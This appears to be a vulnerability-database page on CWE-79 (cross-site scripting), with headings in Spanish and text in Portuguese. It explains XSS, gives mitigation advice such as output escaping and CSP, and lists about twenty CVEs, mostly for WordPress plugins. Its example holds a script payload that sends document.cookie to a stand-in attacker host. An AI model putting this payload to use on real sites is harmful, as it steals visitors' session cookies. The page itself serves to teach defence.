Fallos del tipo CWE-79

30.306 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-53212HIGHWordPress Revolution Video Player With Bottom Playlist <= 2.9.2 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-61796MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.2%CVE-2025-61636NONECodex Special:Block vulnerable to message key XSSEPSS 0.2%CVE-2026-97640HIGHWPConsent <= 1.1.9 - Unauthenticated Stored Cross-Site Scripting via Comment Content via Simple HTML DOM Parser Noise-Key Restoration (mXSS)EPSS 0.2%CVE-2025-48163HIGHWordPress SHOUT - HTML5 Radio Player With Ads - ShoutCast and IceCast Support <= 3.5.4 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-53290MEDIUMWordPress WP Visual Sitemap plugin <= 1.0.2 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2026-5063HIGHNEX-Forms <= 9.1.11 - Unauthenticated Stored Cross-Site Scripting via POST Parameter Key NamesEPSS 0.2%CVE-2026-103996MEDIUMIf-So Dynamic Content <= 1.10.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via ifso-redirect Shortcode 'url' AttributeEPSS 0.2%CVE-2026-54866HIGHWordPress Razorpay Payment Button Elementor Plugin plugin <= 1.2.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-62264MEDIUMReflected cross-site scripting (XSS) vulnerability in Languauge Override in Liferay Portal 7.4.3.8 through 7.4.3.111, and Liferay DXP 2023.QEPSS 0.2%CVE-2025-58177MEDIUMn8n stored cross-site scripting in LangChain Chat Trigger node initialMessages parameterEPSS 0.2%CVE-2026-5340MEDIUMFancy Image Show <= 9.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.2%CVE-2026-109147HIGHWP Booking System < 2.1.0.3 - Reflected XSS via 'booking_id' ParameterEPSS 0.2%CVE-2025-22483HIGHLicense CenterEPSS 0.2%CVE-2026-109978MEDIUMCozy Blocks <= 2.2.27 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'productRating.iconColor' Block AttributeEPSS 0.2%CVE-2025-63057MEDIUMWordPress Wp Ultimate Review plugin <= 2.3.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-22697MEDIUMWordPress Responsive Blocks plugin <= 1.9.9 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-54676MEDIUMWordPress Online Booking & Scheduling Calendar for by vcita Plugin plugin <= 4.5.3 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-53563HIGHWordPress Youtube Vimeo Video Player and Slider <= 3.8 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-53562HIGHWordPress Universal Video Player - Addon for WPBakery Page Builder <= 3.2.1 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%